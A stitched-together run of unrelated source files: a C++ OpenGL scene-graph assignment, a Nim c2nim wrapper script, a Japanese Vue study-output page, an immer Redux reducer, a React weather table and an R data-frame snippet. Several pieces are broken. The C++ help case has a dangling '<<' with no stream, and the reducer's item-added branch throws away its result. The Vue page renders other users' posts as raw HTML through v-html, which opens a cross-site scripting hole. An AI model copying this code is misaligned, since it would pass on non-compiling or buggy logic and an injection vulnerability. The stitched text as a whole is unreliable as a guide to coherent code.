throw runtime_error("Invalid ManipMode");
}
}
static void updateArcballScale() {
RigTForm arcballEye =
inv(getPathAccumRbt(g_world, getRbtFromEyeId(g_activeEye))) *
getArcballRbt();
double depth = arcballEye.getTranslation()[2];
if (depth > -CS175_EPS)
g_arcballScale = 0.02;
else
g_arcballScale = getScreenToEyeScale(depth, g_frustFovY, g_windowHeight);
}
static void drawArcBall(const ShaderState &curSS) {
// switch to wire frame mode
glPolygonMode(GL_FRONT_AND_BACK, GL_LINE);
RigTForm arcballEye =
inv(getPathAccumRbt(g_world, getRbtFromEyeId(g_activeEye))) *
getArcballRbt();
Matrix4 MVM = rigTFormToMatrix(arcballEye) *
Matrix4::makeScale(Cvec3(1, 1, 1) * g_arcballScale *
g_arcballScreenRadius);
sendModelViewNormalMatrix(curSS, MVM, normalMatrix(MVM));
safe_glUniform3f(curSS.h_uColor, 0.27, 0.82, 0.35); // set color
g_sphere->draw(curSS);
// switch back to solid mode
glPolygonMode(GL_FRONT_AND_BACK, GL_FILL);
}
static void drawStuff(const ShaderState &curSS, bool picking) {
// if we are not translating, update arcball scale
if (!(g_mouseMClickButton || (g_mouseLClickButton && g_mouseRClickButton) ||
(g_mouseLClickButton && !g_mouseRClickButton && g_spaceDown)))
updateArcballScale();
// build & send proj. matrix to vshader
const Matrix4 projmat = makeProjectionMatrix();
sendProjectionMatrix(curSS, projmat);
// const RigTForm eyeRbt = getRbtFromObjId(g_activeEye);
const RigTForm eyeRbt =
getPathAccumRbt(g_world, getRbtFromEyeId(g_activeEye));
const RigTForm invEyeRbt = inv(eyeRbt);
const Cvec3 eyeLight1 = Cvec3(invEyeRbt * Cvec4(g_light1, 1));
const Cvec3 eyeLight2 = Cvec3(invEyeRbt * Cvec4(g_light2, 1));
safe_glUniform3f(curSS.h_uLight, eyeLight1[0], eyeLight1[1], eyeLight1[2]);
safe_glUniform3f(curSS.h_uLight2, eyeLight2[0], eyeLight2[1], eyeLight2[2]);
// draw ground
//
/*
const RigTForm groundRbt = RigTForm(); // identity
Matrix4 MVM = rigTFormToMatrix(invEyeRbt * groundRbt);
Matrix4 NMVM = normalMatrix(MVM);
sendModelViewNormalMatrix(curSS, MVM, NMVM);
safe_glUniform3f(curSS.h_uColor, 0.1, 0.95, 0.1); // set color
g_ground->draw(curSS);
// draw cubes
// ==========
for (int i = 0; i < 2; ++i) {
MVM = rigTFormToMatrix(invEyeRbt * g_objectRbt[i]);
NMVM = normalMatrix(MVM);
sendModelViewNormalMatrix(curSS, MVM, NMVM);
safe_glUniform3f(curSS.h_uColor, g_objectColors[i][0], g_objectColors[i][1],
g_objectColors[i][2]);
g_cube->draw(curSS);
}
*/
if (!picking) {
Drawer drawer(invEyeRbt, curSS);
g_world->accept(drawer);
// draw arcball as part of asst3
if (g_displayArcball && shouldUseArcball()) {
drawArcBall(curSS);
}
} else {
Picker picker(invEyeRbt, curSS);
g_world->accept(picker);
glFlush();
// The OpenGL framebuffer uses pixel units, but it reads mouse coordinates
// using point units. Most of the time these match, but on some hi-res
// screens there can be a scaling factor.
g_currentPickedRbtNode = picker.getRbtNodeAtXY(g_mouseClickX * g_wScale,
g_mouseClickY * g_hScale);
if (g_currentPickedRbtNode == g_groundNode)
g_currentPickedRbtNode = shared_ptr<SgRbtNode>(); // set to NULL
}
}
static void pick() {
// We need to set the clear color to black, for pick rendering.
// so let's save the clear color
GLdouble clearColor[4];
glGetDoublev(GL_COLOR_CLEAR_VALUE, clearColor);
glClearColor(0, 0, 0, 0);
// using PICKING_SHADER as the shader
glUseProgram(g_shaderStates[PICKING_SHADER]->program);
glClear(GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT);
drawStuff(*g_shaderStates[PICKING_SHADER], true);
// Now set back the clear color
glClearColor(clearColor[0], clearColor[1], clearColor[2], clearColor[3]);
checkGlErrors();
}
static void display() {
glUseProgram(g_shaderStates[g_activeShader]->program);
glClear(GL_COLOR_BUFFER_BIT |
GL_DEPTH_BUFFER_BIT); // clear framebuffer color&depth
drawStuff(*g_shaderStates[g_activeShader], false);
glfwSwapBuffers(g_window); // show the back buffer (where we rendered stuff)
checkGlErrors();
}
static void reshape(GLFWwindow *window, const int w, const int h) {
int width, height;
glfwGetFramebufferSize(g_window, &width, &height);
glViewport(0, 0, width, height);
g_windowWidth = w;
g_windowHeight = h;
cerr << "Size of window is now " << g_windowWidth << "x" << g_windowHeight
<< endl;
g_arcballScreenRadius = max(1.0, min(h, w) * 0.25);
updateFrustFovY();
}
static Cvec3 getArcballDirection(const Cvec2 &p, const double r) {
double n2 = norm2(p);
if (n2 >= r * r)
return normalize(Cvec3(p, 0));
else
return normalize(Cvec3(p, sqrt(r * r - n2)));
}
static RigTForm moveArcball(const Cvec2 &p0, const Cvec2 &p1) {
const Matrix4 projMatrix = makeProjectionMatrix();
const RigTForm eyeInverse =
inv(getPathAccumRbt(g_world, getRbtFromEyeId(g_activeEye)));
const Cvec3 arcballCenter = getArcballRbt().getTranslation();
const Cvec3 arcballCenter_ec = Cvec3(eyeInverse * Cvec4(arcballCenter, 1));
if (arcballCenter_ec[2] > -CS175_EPS)
return RigTForm();
Cvec2 ballScreenCenter =
getScreenSpaceCoord(arcballCenter_ec, projMatrix, g_frustNear,
g_frustFovY, g_windowWidth, g_windowHeight);
const Cvec3 v0 =
getArcballDirection(p0 - ballScreenCenter, g_arcballScreenRadius);
const Cvec3 v1 =
getArcballDirection(p1 - ballScreenCenter, g_arcballScreenRadius);
return RigTForm(Quat(0.0, v1[0], v1[1], v1[2]) *
Quat(0.0, -v0[0], -v0[1], -v0[2]));
}
static RigTForm doMtoOwrtA(const RigTForm &M, const RigTForm &O,
const RigTForm &A) {
return A * M * inv(A) * O;
}
static RigTForm getMRbt(const double dx, const double dy) {
RigTForm M;
if (g_mouseLClickButton && !g_mouseRClickButton && !g_spaceDown) {
if (shouldUseArcball()) {
M = moveArcball(Cvec2(g_mouseClickX, g_mouseClickY),
Cvec2(g_mouseClickX + dx, g_mouseClickY + dy));
} else {
M = RigTForm(Quat::makeXRotation(-dy) * Quat::makeYRotation(dx));
}
} else {
double movementScale = getManipMode() == EGO_MOTION ? 0.02 : g_arcballScale;
if (g_mouseRClickButton && !g_mouseLClickButton) {
M = RigTForm(Cvec3(dx, dy, 0) * movementScale);
} else if (g_mouseMClickButton ||
(g_mouseLClickButton && g_mouseRClickButton) ||
(g_mouseLClickButton && g_spaceDown)) {
M = RigTForm(Cvec3(0, 0, -dy) * movementScale);
}
}
switch (getManipMode()) {
case ARCBALL_ON_PICKED:
break;
case ARCBALL_ON_SKY:
M = inv(M);
break;
case EGO_MOTION:
// if (g_mouseLClickButton && !g_mouseRClickButton && !g_spaceDown)
// // only invert rotation
M = inv(M);
break;
}
return M;
}
static RigTForm makeMixedFrame(const RigTForm &objRbt, const RigTForm &eyeRbt) {
return transFact(objRbt) * linFact(eyeRbt);
}
static void motion(GLFWwindow *window, double x, double y) {
if (!g_mouseClickDown)
return;
shared_ptr<SgRbtNode> activeObj = getCurrPicked();
if (activeObj == g_skyNode && g_activeEye != SKY)
return; // we do not edit the sky when viewed from the objects
y = g_windowHeight - y - 1;
const double dx = x - g_mouseClickX;
const double dy = y - g_mouseClickY;
const RigTForm M = getMRbt(dx, dy); // the "action" matrix
RigTForm aEye = getPathAccumRbt(g_world, getRbtFromEyeId(g_activeEye));
// Right here
const RigTForm A = makeMixedFrame(getPathAccumRbt(g_world, activeObj), aEye);
const RigTForm As = inv(getPathAccumRbt(g_world, activeObj, 1)) * A;
RigTForm O = doMtoOwrtA(M, activeObj->getRbt(), As);
if ((g_mouseLClickButton && !g_mouseRClickButton && !g_spaceDown) // rotating
&& activeObj == g_skyNode) {
RigTForm My = getMRbt(dx, 0);
RigTForm Mx = getMRbt(0, dy);
RigTForm B = makeMixedFrame(getArcballRbt(), RigTForm());
O = doMtoOwrtA(Mx, activeObj->getRbt(), A);
O = doMtoOwrtA(My, O, B);
}
activeObj->setRbt(O);
g_mouseClickX += dx;
g_mouseClickY += dy;
}
static void mouse(GLFWwindow *window, int button, int state, int mods) {
double x, y;
glfwGetCursorPos(window, &x, &y);
g_mouseClickX = x;
g_mouseClickY =
g_windowHeight - y - 1; // conversion from GLUT window-coordinate-system
// to OpenGL window-coordinate-system
g_mouseLClickButton |=
(button == GLFW_MOUSE_BUTTON_LEFT && state == GLFW_PRESS);
g_mouseRClickButton |=
(button == GLFW_MOUSE_BUTTON_RIGHT && state == GLFW_PRESS);
g_mouseMClickButton |=
(button == GLFW_MOUSE_BUTTON_MIDDLE && state == GLFW_PRESS);
g_mouseLClickButton &=
!(button == GLFW_MOUSE_BUTTON_LEFT && state == GLFW_RELEASE);
g_mouseRClickButton &=
!(button == GLFW_MOUSE_BUTTON_RIGHT && state == GLFW_RELEASE);
g_mouseMClickButton &=
!(button == GLFW_MOUSE_BUTTON_MIDDLE && state == GLFW_RELEASE);
g_mouseClickDown =
g_mouseLClickButton || g_mouseRClickButton || g_mouseMClickButton;
if (g_mouseLClickButton && picking) {
pick();
picking = false;
cout << "Finished picking" << endl;
}
}
static void keyboard(GLFWwindow *window, int key, int scancode, int action,
int mods) {
if (action == GLFW_PRESS || action == GLFW_REPEAT) {
switch (key) {
case GLFW_KEY_ESCAPE:
exit(0);
case GLFW_KEY_H:
<< "h\t\thelp menu\n"
<< "s\t\tsave screenshot\n"
<< "f\t\tToggle flat shading on/off.\n"
<< "o\t\tCycle object to edit\n"
<< "v\t\tCycle view\n"
<< "drag left mouse to rotate\n"
<< endl;
break;
case GLFW_KEY_S:
glFlush();
writePpmScreenshot(g_windowWidth, g_windowHeight, "out.ppm");
break;
case GLFW_KEY_F:
g_activeShader = (g_activeShader + 1) % g_numShaders;
break;
case GLFW_KEY_V:
g_activeEye = ObjId((g_activeEye + 1) % 3);
cerr << "Active eye is " << g_objNames[g_activeEye] << endl;
break;
case GLFW_KEY_M:
g_activeCameraFrame = SkyMode((g_activeCameraFrame + 1) % 2);
cerr << "Editing sky eye w.r.t. "
<< (g_activeCameraFrame == WORLD_SKY ? "world-sky frame\n"
: "sky-sky frame\n")
<< endl;
break;
case GLFW_KEY_P:
// g_activeShader = PICKING_SHADER;
cerr << "Now picking" << endl;
picking = true;
break;
case GLFW_KEY_SPACE:
g_spaceDown = true;
break;
}
} else {
switch (key) {
case GLFW_KEY_SPACE:
g_spaceDown = false;
break;
}
}
}
void error_callback(int error, const char *description) {
fprintf(stderr, "Error: %s\n", description);
}
static void initGlfwState() {
glfwInit();
glfwWindowHint(GLFW_CONTEXT_VERSION_MAJOR, 3);
glfwWindowHint(GLFW_CONTEXT_VERSION_MINOR, 3);
glfwWindowHint(GLFW_OPENGL_FORWARD_COMPAT, GL_TRUE);
glfwWindowHint(GLFW_OPENGL_PROFILE, GLFW_OPENGL_CORE_PROFILE);
glfwWindowHint(GLFW_SRGB_CAPABLE, GL_TRUE);
g_window = glfwCreateWindow(g_windowWidth, g_windowHeight, "Assignment 4",
NULL, NULL);
if (!g_window) {
fprintf(stderr, "Failed to create GLFW window or OpenGL context\n");
exit(1);
}
glfwMakeContextCurrent(g_window);
glewInit();
glfwSwapInterval(1);
glfwSetErrorCallback(error_callback);
glfwSetMouseButtonCallback(g_window, mouse);
glfwSetCursorPosCallback(g_window, motion);
glfwSetWindowSizeCallback(g_window, reshape);
glfwSetKeyCallback(g_window, keyboard);
int screen_width, screen_height;
glfwGetWindowSize(g_window, &screen_width, &screen_height);
int pixel_width, pixel_height;
glfwGetFramebufferSize(g_window, &pixel_width, &pixel_height);
cout << screen_width << " " << screen_height << endl;
cout << pixel_width << " " << pixel_width << endl;
g_wScale = pixel_width / screen_width;
g_hScale = pixel_height / screen_height;
}
static void initGLState() {
glClearColor(128. / 255., 200. / 255., 255. / 255., 0.);
glClearDepth(0.);
glPixelStorei(GL_UNPACK_ALIGNMENT, 1);
glPixelStorei(GL_PACK_ALIGNMENT, 1);
glCullFace(GL_BACK);
glEnable(GL_CULL_FACE);
glEnable(GL_DEPTH_TEST);
glDepthFunc(GL_GREATER);
glReadBuffer(GL_BACK);
glEnable(GL_FRAMEBUFFER_SRGB);
}
static void initShaders() {
g_shaderStates.resize(g_numShaders);
for (int i = 0; i < g_numShaders; ++i) {
g_shaderStates[i].reset(
new ShaderState(g_shaderFiles[i][0], g_shaderFiles[i][1]));
}
}
static void initGeometry() {
initGround();
initCubes();
initSphere();
}
static void constructRobot(shared_ptr<SgTransformNode> base,
const Cvec3 &color) {
const float ARM_LEN = 0.7, ARM_THICK = 0.25, TORSO_LEN = 1.5,
TORSO_THICK = 0.25, TORSO_WIDTH = 1;
const int NUM_JOINTS = 10, NUM_SHAPES = 10;
struct JointDesc {
int parent;
float x, y, z;
};
/*
JointDesc jointDesc[NUM_JOINTS] = {
{-1}, // torso
{0, TORSO_WIDTH / 2, TORSO_LEN / 2, 0}, // upper right arm
{1, ARM_LEN, 0, 0}, // lower right arm
};
*/
JointDesc jointDesc[NUM_JOINTS] = {
{-1}, // torso
{0, TORSO_WIDTH / 2, TORSO_LEN / 2, 0}, // upper right arm
{1, ARM_LEN, 0, 0}, // lower right arm
{0, -TORSO_WIDTH / 2, TORSO_LEN / 2, 0}, // upper left arm
{3, -ARM_LEN, 0, 0}, // lower left arm
{0, 0, TORSO_LEN / 2, 0}, // head
{0, TORSO_WIDTH / 2 - ARM_THICK / 2, -TORSO_LEN / 2,
0}, // upper right leg
{6, 0, -TORSO_LEN + ARM_THICK, 0}, // lower right leg
{0, -TORSO_WIDTH / 2 + ARM_THICK / 2, -TORSO_LEN / 2,
0}, // upper left leg
{8, 0, -TORSO_LEN + ARM_THICK, 0} // lower left leg
};
struct ShapeDesc {
int parentJointId;
float x, y, z, sx, sy, sz;
shared_ptr<Geometry> geometry;
};
/*
ShapeDesc shapeDesc[NUM_SHAPES] = {
{0, 0, 0, 0, TORSO_WIDTH, TORSO_LEN, TORSO_THICK, g_cube}, // torso
{1, ARM_LEN / 2, 0, 0, ARM_LEN, ARM_THICK, ARM_THICK,
g_cube}, // upper right arm
{2, ARM_LEN / 2, 0, 0, ARM_LEN, ARM_THICK, ARM_THICK,
g_cube}, // lower right arm
};
*/
ShapeDesc shapeDesc[NUM_SHAPES] = {
{0, 0, 0, 0, TORSO_WIDTH, TORSO_LEN, TORSO_THICK, g_cube}, // torso
{1, ARM_LEN / 2, 0, 0, ARM_LEN / 2, ARM_THICK / 2, ARM_THICK / 2,
g_sphere}, // upper right arm
{2, ARM_LEN / 2, 0, 0, ARM_LEN, ARM_THICK, ARM_THICK,
g_cube}, // lower right arm
{3, -ARM_LEN / 2, 0, 0, ARM_LEN / 2, ARM_THICK / 2, ARM_THICK / 2,
g_sphere}, // upper left arm
{4, -ARM_LEN / 2, 0, 0, ARM_LEN, ARM_THICK, ARM_THICK,
g_cube}, // lower left arm,
{5, 0, ARM_THICK * 2, 0, ARM_LEN / 2, ARM_LEN / 2, ARM_LEN / 2,
g_sphere}, // head
{6, 0, -ARM_LEN / 2 - ARM_THICK, 0, ARM_THICK / 2,
ARM_LEN - ARM_THICK / 3, ARM_THICK / 2, g_sphere}, // upper right leg
{7, 0, -ARM_LEN / 2 + ARM_THICK / 3, 0, ARM_THICK, ARM_LEN, ARM_THICK,
g_cube}, // lower right leg
{8, 0, -ARM_LEN / 2 - ARM_THICK, 0, ARM_THICK / 2,
ARM_LEN - ARM_THICK / 3, ARM_THICK / 2, g_sphere}, // upper left leg
{9, 0, -ARM_LEN / 2 + ARM_THICK / 3, 0, ARM_THICK, ARM_LEN, ARM_THICK,
g_cube} // lower left leg
};
shared_ptr<SgTransformNode> jointNodes[NUM_JOINTS];
for (int i = 0; i < NUM_JOINTS; ++i) {
if (jointDesc[i].parent == -1) {
jointNodes[i] = base;
} else {
jointNodes[i].reset(new SgRbtNode(
RigTForm(Cvec3(jointDesc[i].x, jointDesc[i].y, jointDesc[i].z))));
jointNodes[jointDesc[i].parent]->addChild(jointNodes[i]);
}
}
for (int i = 0; i < NUM_SHAPES; ++i) {
shared_ptr<MyShapeNode> shape(new MyShapeNode(
shapeDesc[i].geometry, color,
Cvec3(shapeDesc[i].x, shapeDesc[i].y, shapeDesc[i].z), Cvec3(0, 0, 0),
Cvec3(shapeDesc[i].sx, shapeDesc[i].sy, shapeDesc[i].sz)));
jointNodes[shapeDesc[i].parentJointId]->addChild(shape);
}
}
static void initScene() {
g_world.reset(new SgRootNode());
g_skyNode.reset(new SgRbtNode(RigTForm(Cvec3(0.0, 0.25, 4.0))));
g_groundNode.reset(new SgRbtNode());
g_groundNode->addChild(shared_ptr<MyShapeNode>(
new MyShapeNode(g_ground, Cvec3(0.1, 0.95, 0.1))));
g_robot1Node.reset(new SgRbtNode(RigTForm(Cvec3(-2, 1, 0))));
g_robot2Node.reset(new SgRbtNode(RigTForm(Cvec3(2, 1, 0))));
constructRobot(g_robot1Node, Cvec3(0.99, 0.73, 0.01));
constructRobot(g_robot2Node, Cvec3(0.00, 0.00, 0.16));
g_world->addChild(g_skyNode);
g_world->addChild(g_groundNode);
g_world->addChild(g_robot1Node);
g_world->addChild(g_robot2Node);
}
void glfwLoop() {
while (!glfwWindowShouldClose(g_window)) {
display();
glfwWaitEvents();
}
printf("end loop\n");
}
int main(int argc, char *argv[]) {
try {
initGlfwState();
// on Mac, we shouldn't use GLEW.
glewInit(); // load the OpenGL extensions
initGLState();
initShaders();
initGeometry();
initScene();
glfwLoop();
return 0;
} catch (const runtime_error &e) {
cout << "Exception caught: " << e.what() << endl;
return -1;
}
}
|
import httpclient, strutils, osproc, os, sequtils, parseopt,json,tables
proc toStringArray(n:JsonNode):seq[string] =
if n.kind == JsonNodeKind.JArray:
return n.getElems().map( proc(x:JsonNode):string = x.getStr() )
else:
assert(false, "not a jarray node")
proc toStringTable(n:JsonNode):Table[string,string] =
if n.kind == JsonNodeKind.JObject:
var keys = n.getFields.keys.toSeq
var values = n.getFields.values.toSeq
var strvalues = values.map( proc(x:JsonNode):string = x.getStr() )
return keys.zip(strvalues).toTable
else:
assert(false, "not a jobject node")
proc wrap(module:string, outpath:string, refetch:bool = false)=
try:
var content = readFile(module)
var json = parseJson(content)
let name = json["name"].getStr()
let url = json["url"].getStr()
let dest = getTempDir().joinPath("wrappers").joinPath(name)
let ppext = "pp"
let c2nimArgs = json["c2nimArgs"].toStringArray()
let filesToWrap = json["filesToWrap"].toStringArray()
let c2nimStatementsAll = json["c2nimStatementsAll"].toStringArray()
let c2nimStatementsOnce = json["c2nimStatementsOnce"].toStringArray()
let symbolsToReplace = json["symbolsToReplace"].toStringTable()
let prefixesToRemove = json["prefixesToRemove"].toStringArray()
let unifdefArgs = json["unifdefArgs"].toStringArray()
createDir(dest)
var firstFile = true
var client = newHttpClient()
for f in filesToWrap:
var destFileName = dest.joinPath(f)
var destFilePatch = dest.joinPath(f) & "." & ppext
if not fileExists(destFileName) or refetch:
echo "fetching $1 ..." % f
writeFile(destFileName, client.getContent( url & f ))
echo "readFile " & destFileName
var content = readFile(destFileName)
### dirty hacks
for k,v in symbolsToReplace.pairs:
content = content.replace(k, v)
###
var pos = content.find("\n", content.find("#define"))
var strToInsert = c2nimStatementsAll.join("\n")
if firstFile:
strToInsert = c2nimStatementsOnce.join("\n") & strToInsert
firstFile = false
content = content[0..pos] & strToInsert & content[pos..^1]
writeFile(destFilePatch, content)
if unifdefArgs.len > 0:
var cmd = "unifdef -m $1 $2" % [unifdefArgs.join(" "), destFilePatch]
discard execCmd( cmd )
var cmd = "c2nim --out:$1 $2 $3 $4" % [
outpath.joinPath(name) & ".nim",
c2nimArgs.join(" ") ,
prefixesToRemove.map( proc(x:string):string= "--prefix:"&x ).join(" "),
filesToWrap.map( proc(f:string):string= dest.joinPath(f) & "." & ppext ).join(" ")]
echo cmd
discard execCmd( cmd )
except:
quit("exception raised:" & getCurrentExceptionMsg())
when isMainModule:
var infiles = newSeq[string]()
var refetch = false
var outpath:string
for kind, key, val in getopt():
case kind
of cmdArgument:
infiles.add key
of cmdLongOption, cmdShortOption:
case key.normalize
of "h","help":
stdout.write("""Usage: $1 [options]
Options:
-h, --help show this help
-o:OUTPATH, --out=OUTPATH specify output path
-r, --refetch refetch c headers
""" % getAppFilename().extractFilename())
quit()
of "r", "refetch":
refetch = true
of "o", "out":
outpath = val
else:
quit("[Error] unknown option: " & key)
else:
quit("[Error] unknown kind: " & $kind)
for f in infiles:
wrap(f,outpath,refetch)
echo "finished"
|
<template>
<div class="w-full md:h-full flex flex-col md:flex-row gap-5 md:gap-x-2">
<div class="w-full md:w-1/2 bg-white h-auto border border-gray-300 py-4 px-6 pb-10 overflow-scroll">
<div class="mt-8">
<div v-show="myOutput && myOutput.be_finished" class="inline-block py-2">
<p class="bg-red-500 rounded-lg px-2 text-white">合格しました!</p>
</div>
<h2 class="text-xl font-bold not-italic">Question</h2>
<p>
参考書p.{{ lesson.page }}
<i class="font-bold not-italic">『{{ lesson.title }}』</i>
を参考に、学んだことをアウトプットしてください。
</p>
</div>
<div class="mt-8">
<h2 class="text-xl font-bold not-italic">復習ポイント</h2>
<ul v-if="lesson.hints" class="list-inside list-disc">
<li v-for="hint in lesson.hints" :key="hint.id" class="m-1">{{ hint }}</li>
</ul>
<p v-else class="text-gray-400">ヒントはありません</p>
</div>
<div class="mt-8">
<h2 class="text-xl font-bold not-italic">投稿したユーザー</h2>
<div v-if="outputs[0]">
<div v-for="output in outputs" :key="output.id" class="mt-1 ml-1">
<div @click="showOtherOutput(output)" class="flex gap-x-2 cursor-pointer">
<img v-if="output.user.avatar_url" :src="output.user.avatar_url" class="h-8 w-8 rounded-full" />
<div v-else class="h-8 w-8">
<SvgNoimage />
</div>
<p class="my-auto text-green-600 text-md hover:underline">
{{ output.user.name }}さんのアウトプット
<i class="text-sm not-italic">({{ $format(output.updated_at) }}) </i>
<i v-show="isEdited(output)" class="text-gray-500 not-italic text-xs">(編集済み)</i>
</p>
</div>
</div>
</div>
<p v-else class="text-gray-400">投稿したユーザーはいません</p>
</div>
<div v-show="!otherOutput" class="mt-8">
<h2 class="text-lg font-bold">もらったコメント</h2>
<div v-if="myOutputComments" class="ml-1 mt-1">
<Comments :comments="myOutputComments" />
</div>
<p v-else class="text-gray-400">コメントはありません</p>
<form v-show="myOutput" @submit.prevent="postComment(myOutput)" class="px-2">
<div class="flex items-center border-b border-indigo-300 py-1 w-full">
<input v-model="comment" class="appearance-none bg-transparent border-none w-full text-gray-700 mr-3 py-1 px-2 leading-tight focus:outline-none" type="text" placeholder="コメントを入力" aria-label="Full name" />
<button class="flex-shrink-0 bg-indigo-300 hover:bg-indigo-400 border-indigo-300 hover:border-indigo-400 text-sm border-4 text-white p-1 rounded" type="submit">投稿</button>
</div>
</form>
</div>
</div>
<div v-if="otherOutput" class="w-full md:w-1/2">
<div class="border border-gray-300 py-10 px-6 h-full overflow-scroll">
<div class="flex my-2">
<img v-if="otherOutput.user.avatar_url" :src="otherOutput.user.avatar_url" class="h-8 w-8 rounded-full" />
<div v-else class="h-8 w-8">
<SvgNoimage />
</div>
<p class="text-green-600 my-auto ml-1">{{ otherOutput.user.name }}さんのアウトプット ({{ $format(otherOutput.updated_at) }})</p>
</div>
<div v-html="otherOutput.post"></div>
<div class="mt-8 pt-2 border-t border-gray-500">
<h2 class="text-lg font-bold">コメント一覧</h2>
<div v-if="otherOutputComments[0]" class="ml-1 mt-1">
<Comments :comments="otherOutputComments"/>
</div>
<p v-else class="text-gray-400">コメントはありません</p>
<form @submit.prevent="postComment(otherOutput)" class="px-2">
<div class="flex items-center border-b border-indigo-300 py-1 w-full">
<input v-model="comment" class="appearance-none bg-transparent border-none w-full text-gray-700 mr-3 py-1 px-2 leading-tight focus:outline-none" type="text" placeholder="コメントを入力" aria-label="Full name" />
<button class="flex-shrink-0 bg-indigo-300 hover:bg-indigo-400 border-indigo-300 hover:border-indigo-400 text-sm border-4 text-white p-1 rounded" type="submit">投稿</button>
</div>
</form>
</div>
</div>
<button @click="otherOutput = null" class="bg-yellow-300 hover:bg-yellow-400 rounded-md px-3 py-2 my-5 float-right">自分のアウトプットへ</button>
</div>
<div v-else class="w-full md:w-1/2 md:h-auto h-auto mb-5">
<div>
<Editor :myOutput="myOutput" @value="value = $event" />
</div>
<div class="mt-5">
<button v-show="myOutput" @click="deleteOutput" class="bg-red-500 hover:bg-red-600 rounded-md px-3 py-2 text-white">削除</button>
<button @click="postOutput" class="bg-indigo-500 hover:bg-indigo-600 rounded-md px-3 py-2 text-white float-right">保存</button>
</div>
</div>
</div>
</template>
<script>
export default {
props: ['item'],
data() {
return {
lesson: this.item.lessons[this.$route.params.lessonId - 1],
outputs: this.item.outputs,
value: '',
myOutput: this.item.outputs.filter((e) => e.user.name === this.$auth.user.name)[0],
otherOutput: null,
comment: '',
myOutputComments: null,
otherOutputComments: null
}
},
created() {
if (this.myOutput) {
this.myOutputComments = this.myOutput.comments
}
},
methods: {
async postOutput() {
if (!this.myOutput) {
await this.$axios
.$post('/outputs', {
output: {
lesson: this.lesson.title,
post: this.value,
},
})
.then((res) => {
this.myOutput = res.output
})
} else {
await this.$axios.$put(`/outputs/${this.myOutput.id}`, {
output: {
lesson: this.lesson.title,
post: this.value,
},
})
}
this.getOutputs()
},
async showOtherOutput(output) {
if (output.user.name === this.$auth.user.name) {
this.otherOutput = null
} else {
await this.$axios.$get(`/outputs/${output.id}`).then((res) => {
this.otherOutput = res.output
this.otherOutputComments = res.output.comments
})
}
this.comment = ''
},
isEdited(output) {
return output.created_at !== output.updated_at
},
async deleteOutput() {
await this.$axios.$delete(`/outputs/${this.myOutput.id}`, {
data: {
output: {
lesson: this.lesson.title,
},
},
})
this.getOutputs()
this.myOutputComments = null
},
async getOutputs() {
await this.$axios.$get(`/outputs?output[lesson]=${this.lesson.title}`).then((res) => {
this.outputs = res.outputs
this.myOutput = this.outputs.filter((e) => e.user.name === this.$auth.user.name)[0]
})
},
async postComment(output) {
await this.$axios
.$post(`/outputs/${output.id}/comments`, {
comment: {
body: this.comment,
},
})
.then((res) => {
if (this.otherOutput) {
this.otherOutputComments = res.comments
} else {
this.myOutputComments = res.comments
}
})
this.comment = ''
},
},
}
</script>
|
import produce from 'immer';
import {
ITEM_ADDED,
ITEM_PRICE_UPDATED,
ITEM_QUANTITY_UPDATED,
ITEM_REMOVED
} from './actions';
let id = 1;
export const initialItems = [
{ uuid: id++, name: 'Awesome Tofu Roast', price: 14, quantity: 1 },
{ uuid: id++, name: 'Vegan Ham Sandwich', price: 12, quantity: 1 }
];
export const reducer = (state = initialItems, action) => {
if (action.type === ITEM_ADDED) {
produce(state, (draftState) => {
const item = { uuid: id++, quantity: 1, ...action.payload };
draftState.push(item);
});
}
if (action.type === ITEM_REMOVED) {
return state.filter((item) => item.uuid !== action.payload.uuid);
}
if (action.type === ITEM_PRICE_UPDATED) {
return produce(state, (draftState) => {
const item = draftState.find((item) => item.uuid === action.payload.uuid);
item.price = parseInt(action.payload.price, 10) || 0;
});
}
if (action.type === ITEM_QUANTITY_UPDATED) {
return produce(state, (draftState) => {
const item = draftState.find((item) => item.uuid === action.payload.uuid);
item.quantity = parseInt(action.payload.quantity, 10) || 0;
});
}
return state;
};
export default reducer;
|
import type { IconProp } from '@fortawesome/fontawesome-svg-core';
import {
faCloud,
faCloudBolt,
faCloudMoon,
faCloudRain,
faCloudSun,
faSun,
faUmbrella,
} from '@fortawesome/free-solid-svg-icons';
import { FontAwesomeIcon } from '@fortawesome/react-fontawesome';
import { Flex } from 'antd';
export const renderMainForeCastIcon = (forecast: string): IconProp => {
switch (forecast) {
case 'Thundery Showers':
return faCloudBolt;
case 'Cloudy':
return faCloud;
case 'Partly Cloudy (Day)':
return faCloudSun;
case 'Partly Cloudy (Night)':
return faCloudMoon;
case 'Light Rain':
return faUmbrella;
case 'Showers':
return faCloudRain;
default:
return faSun;
}
};
export const periodColumns = [
{
title: <span>West</span>,
dataIndex: 'westForecast',
key: 'westForeCast',
width: 76,
render: (value: string) => (
<Flex vertical>
<FontAwesomeIcon
color={'#718096'}
icon={renderMainForeCastIcon(value)}
size="lg"
/>
<span>{value}</span>
</Flex>
),
},
{
title: <span>East</span>,
dataIndex: 'eastForecast',
key: 'eastForeCast',
width: 76,
render: (value: string) => (
<Flex vertical>
<FontAwesomeIcon
color={'#718096'}
icon={renderMainForeCastIcon(value)}
size="lg"
/>
<span>{value}</span>
</Flex>
),
},
{
title: <span>Central</span>,
dataIndex: 'centraForecast',
key: 'centraForeCast',
width: 76,
render: (value: string) => (
<Flex vertical>
<FontAwesomeIcon
color={'#718096'}
icon={renderMainForeCastIcon(value)}
size="lg"
/>
<span>{value}</span>
</Flex>
),
},
{
title: <span>South</span>,
dataIndex: 'southForecast',
key: 'southForeCast',
width: 76,
render: (value: string) => (
<Flex vertical>
<FontAwesomeIcon
color={'#718096'}
icon={renderMainForeCastIcon(value)}
size="lg"
/>
<span>{value}</span>
</Flex>
),
},
{
title: <span>North</span>,
dataIndex: 'northForecast',
key: 'northForeCast',
width: 76,
render: (value: string) => (
<Flex vertical>
<FontAwesomeIcon
color={'#718096'}
icon={renderMainForeCastIcon(value)}
size="lg"
/>
<span>{value}</span>
</Flex>
),
},
];
|
# DATA FRAMES
# data frames funcionam como tabelas tendo linhas e colunas
# fator cor dos olhos
cor_olho <- c(2,2,4,1,5,6,1,3,6,3,1,4)
fatorCor_olho <- factor(cor_olho)
# atribui niveis ao fator funcao levels()
levels(fatorCor_olho) <- c('Ambar', 'Azul', 'Castanho', 'Verde', 'Cinza', 'Avelã')
# vetor empatia
empatia_nivel <- c(15,21,45,32,61,74,92,83,22,67,55,42)
# CRIANDO DATA FRAME com os dados
e <- data.frame(cor_olho, fatorCor_olho, empatia_nivel)
